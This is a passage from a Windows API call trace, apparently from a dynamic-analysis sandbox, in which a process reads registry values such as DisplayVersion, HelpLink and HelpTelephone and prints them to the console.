0x204bb0 [0150.184] GetFileType (hFile=0x50) returned 0x1 [0150.184] lstrlenW (lpString="\n") returned 1 [0150.184] GetConsoleOutputCP () returned 0x1b5 [0150.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.184] GetConsoleOutputCP () returned 0x1b5 [0150.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.184] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.184] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.185] GetProcessHeap () returned 0x3c0000 [0150.185] GetProcessHeap () returned 0x3c0000 [0150.185] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.185] GetProcessHeap () returned 0x3c0000 [0150.185] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.185] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.185] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.185] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x20) returned 0x0 [0150.185] GetProcessHeap () returned 0x3c0000 [0150.185] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x22) returned 0x3d5c60 [0150.185] GetProcessHeap () returned 0x3c0000 [0150.185] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0150.185] GetProcessHeap () returned 0x3c0000 [0150.185] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x22 [0150.185] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c60, pcbData=0x29f780*=0x20 | out: pdwType=0x29f700*=0x1, pvData="9.0.30729.6161", pcbData=0x29f780*=0x1e) returned 0x0 [0150.185] __iob_func () returned 0x7fefd702a80 [0150.185] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.185] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.185] _fileno (_File=0x7fefd702ab0) returned 1 [0150.185] _errno () returned 0x204bb0 [0150.185] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.185] _errno () returned 0x204bb0 [0150.185] GetFileType (hFile=0x50) returned 0x1 [0150.185] lstrlenW (lpString=" ") returned 4 [0150.185] GetConsoleOutputCP () returned 0x1b5 [0150.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.185] GetConsoleOutputCP () returned 0x1b5 [0150.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.186] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.186] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.186] lstrlenW (lpString="DisplayVersion") returned 14 [0150.186] __iob_func () returned 0x7fefd702a80 [0150.186] _fileno (_File=0x7fefd702ab0) returned 1 [0150.186] _errno () returned 0x204bb0 [0150.186] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.186] _errno () returned 0x204bb0 [0150.186] GetFileType (hFile=0x50) returned 0x1 [0150.186] lstrlenW (lpString="DisplayVersion") returned 14 [0150.186] GetConsoleOutputCP () returned 0x1b5 [0150.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0150.186] GetConsoleOutputCP () returned 0x1b5 [0150.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0150.186] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0150.186] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.186] __iob_func () returned 0x7fefd702a80 [0150.186] _fileno (_File=0x7fefd702ab0) returned 1 [0150.186] _errno () returned 0x204bb0 [0150.186] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.186] _errno () returned 0x204bb0 [0150.186] GetFileType (hFile=0x50) returned 0x1 [0150.186] lstrlenW (lpString=" ") returned 4 [0150.187] GetConsoleOutputCP () returned 0x1b5 [0150.187] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.187] GetConsoleOutputCP () returned 0x1b5 [0150.187] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.187] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.187] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.187] __iob_func () returned 0x7fefd702a80 [0150.187] _fileno (_File=0x7fefd702ab0) returned 1 [0150.187] _errno () returned 0x204bb0 [0150.187] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.187] _errno () returned 0x204bb0 [0150.187] GetFileType (hFile=0x50) returned 0x1 [0150.187] lstrlenW (lpString="REG_SZ") returned 6 [0150.187] GetConsoleOutputCP () returned 0x1b5 [0150.187] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.188] GetConsoleOutputCP () returned 0x1b5 [0150.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.188] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.188] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.188] __iob_func () returned 0x7fefd702a80 [0150.188] _fileno (_File=0x7fefd702ab0) returned 1 [0150.188] _errno () returned 0x204bb0 [0150.188] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.188] _errno () returned 0x204bb0 [0150.188] GetFileType (hFile=0x50) returned 0x1 [0150.188] lstrlenW (lpString=" ") returned 4 [0150.188] GetConsoleOutputCP () returned 0x1b5 [0150.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.188] GetConsoleOutputCP () returned 0x1b5 [0150.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.188] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.188] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.188] __iob_func () returned 0x7fefd702a80 [0150.188] _fileno (_File=0x7fefd702ab0) returned 1 [0150.188] _errno () returned 0x204bb0 [0150.189] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.189] _errno () returned 0x204bb0 [0150.189] GetFileType (hFile=0x50) returned 0x1 [0150.189] lstrlenW (lpString="9.0.30729.6161") returned 14 [0150.189] GetConsoleOutputCP () returned 0x1b5 [0150.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="9.0.30729.6161", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0150.189] GetConsoleOutputCP () returned 0x1b5 [0150.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="9.0.30729.6161", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9.0.30729.6161", lpUsedDefaultChar=0x0) returned 14 [0150.189] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0150.189] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.189] __iob_func () returned 0x7fefd702a80 [0150.189] _fileno (_File=0x7fefd702ab0) returned 1 [0150.189] _errno () returned 0x204bb0 [0150.189] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.189] _errno () returned 0x204bb0 [0150.189] GetFileType (hFile=0x50) returned 0x1 [0150.189] lstrlenW (lpString="\n") returned 1 [0150.189] GetConsoleOutputCP () returned 0x1b5 [0150.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.190] GetConsoleOutputCP () returned 0x1b5 [0150.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.190] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.190] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.190] GetProcessHeap () returned 0x3c0000 [0150.190] GetProcessHeap () returned 0x3c0000 [0150.190] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0150.190] GetProcessHeap () returned 0x3c0000 [0150.190] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x22 [0150.190] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0150.190] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.190] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.190] GetProcessHeap () returned 0x3c0000 [0150.190] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.190] GetProcessHeap () returned 0x3c0000 [0150.190] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.190] GetProcessHeap () returned 0x3c0000 [0150.190] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.190] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.190] __iob_func () returned 0x7fefd702a80 [0150.190] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.190] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.190] _fileno (_File=0x7fefd702ab0) returned 1 [0150.190] _errno () returned 0x204bb0 [0150.190] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.190] _errno () returned 0x204bb0 [0150.190] GetFileType (hFile=0x50) returned 0x1 [0150.190] lstrlenW (lpString=" ") returned 4 [0150.190] GetConsoleOutputCP () returned 0x1b5 [0150.191] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.191] GetConsoleOutputCP () returned 0x1b5 [0150.191] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.191] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.191] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.191] lstrlenW (lpString="HelpLink") returned 8 [0150.191] __iob_func () returned 0x7fefd702a80 [0150.191] _fileno (_File=0x7fefd702ab0) returned 1 [0150.191] _errno () returned 0x204bb0 [0150.191] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.191] _errno () returned 0x204bb0 [0150.191] GetFileType (hFile=0x50) returned 0x1 [0150.191] lstrlenW (lpString="HelpLink") returned 8 [0150.191] GetConsoleOutputCP () returned 0x1b5 [0150.191] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.191] GetConsoleOutputCP () returned 0x1b5 [0150.191] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0150.191] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.191] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.192] __iob_func () returned 0x7fefd702a80 [0150.192] _fileno (_File=0x7fefd702ab0) returned 1 [0150.192] _errno () returned 0x204bb0 [0150.192] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.192] _errno () returned 0x204bb0 [0150.192] GetFileType (hFile=0x50) returned 0x1 [0150.192] lstrlenW (lpString=" ") returned 4 [0150.192] GetConsoleOutputCP () returned 0x1b5 [0150.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.192] GetConsoleOutputCP () returned 0x1b5 [0150.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.192] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.192] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.192] __iob_func () returned 0x7fefd702a80 [0150.192] _fileno (_File=0x7fefd702ab0) returned 1 [0150.192] _errno () returned 0x204bb0 [0150.192] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.192] _errno () returned 0x204bb0 [0150.192] GetFileType (hFile=0x50) returned 0x1 [0150.192] lstrlenW (lpString="REG_SZ") returned 6 [0150.192] GetConsoleOutputCP () returned 0x1b5 [0150.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.193] GetConsoleOutputCP () returned 0x1b5 [0150.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.193] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.193] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.193] __iob_func () returned 0x7fefd702a80 [0150.193] _fileno (_File=0x7fefd702ab0) returned 1 [0150.193] _errno () returned 0x204bb0 [0150.193] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.193] _errno () returned 0x204bb0 [0150.193] GetFileType (hFile=0x50) returned 0x1 [0150.193] lstrlenW (lpString=" ") returned 4 [0150.193] GetConsoleOutputCP () returned 0x1b5 [0150.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.193] GetConsoleOutputCP () returned 0x1b5 [0150.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.193] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.193] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.193] __iob_func () returned 0x7fefd702a80 [0150.193] _fileno (_File=0x7fefd702ab0) returned 1 [0150.193] _errno () returned 0x204bb0 [0150.193] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.193] _errno () returned 0x204bb0 [0150.193] GetFileType (hFile=0x50) returned 0x1 [0150.194] lstrlenW (lpString="") returned 0 [0150.194] __iob_func () returned 0x7fefd702a80 [0150.194] _fileno (_File=0x7fefd702ab0) returned 1 [0150.194] _errno () returned 0x204bb0 [0150.194] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.194] _errno () returned 0x204bb0 [0150.194] GetFileType (hFile=0x50) returned 0x1 [0150.194] lstrlenW (lpString="\n") returned 1 [0150.194] GetConsoleOutputCP () returned 0x1b5 [0150.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.194] GetConsoleOutputCP () returned 0x1b5 [0150.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.194] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.194] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.194] GetProcessHeap () returned 0x3c0000 [0150.194] GetProcessHeap () returned 0x3c0000 [0150.194] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.194] GetProcessHeap () returned 0x3c0000 [0150.194] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.194] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.194] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.194] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.194] GetProcessHeap () returned 0x3c0000 [0150.194] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.194] GetProcessHeap () returned 0x3c0000 [0150.195] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.195] GetProcessHeap () returned 0x3c0000 [0150.195] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.195] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.195] __iob_func () returned 0x7fefd702a80 [0150.195] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.195] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.195] _fileno (_File=0x7fefd702ab0) returned 1 [0150.195] _errno () returned 0x204bb0 [0150.195] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.195] _errno () returned 0x204bb0 [0150.195] GetFileType (hFile=0x50) returned 0x1 [0150.195] lstrlenW (lpString=" ") returned 4 [0150.195] GetConsoleOutputCP () returned 0x1b5 [0150.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.195] GetConsoleOutputCP () returned 0x1b5 [0150.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.195] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.195] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.195] lstrlenW (lpString="HelpTelephone") returned 13 [0150.195] __iob_func () returned 0x7fefd702a80 [0150.195] _fileno (_File=0x7fefd702ab0) returned 1 [0150.195] _errno () returned 0x204bb0 [0150.195] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.195] _errno () returned 0x204bb0 [0150.195] GetFileType (hFile=0x50) returned 0x1 [0150.195] lstrlenW (lpString="HelpTelephone") returned 13 [0150.196] GetConsoleOutputCP () returned 0x1b5 [0150.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.196] GetConsoleOutputCP () returned 0x1b5 [0150.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0150.196] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.196] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.196] __iob_func () returned 0x7fefd702a80 [0150.196] _fileno (_File=0x7fefd702ab0) returned 1 [0150.196] _errno () returned 0x204bb0 [0150.196] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.196] _errno () returned 0x204bb0 [0150.196] GetFileType (hFile=0x50) returned 0x1 [0150.196] lstrlenW (lpString=" ") returned 4 [0150.196] GetConsoleOutputCP () returned 0x1b5 [0150.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.196] GetConsoleOutputCP () returned 0x1b5 [0150.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.196] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.196] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.197] __iob_func () returned 0x7fefd702a80 [0150.197] _fileno (_File=0x7fefd702ab0) returned 1 [0150.197] _errno () returned 0x204bb0 [0150.197] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.197] _errno () returned 0x204bb0 [0150.197] GetFileType (hFile=0x50) returned 0x1 [0150.197] lstrlenW (lpString="REG_SZ") returned 6 [0150.197] GetConsoleOutputCP () returned 0x1b5 [0150.197] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.197] GetConsoleOutputCP () returned 0x1b5 [0150.197] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.197] fprintf (in: 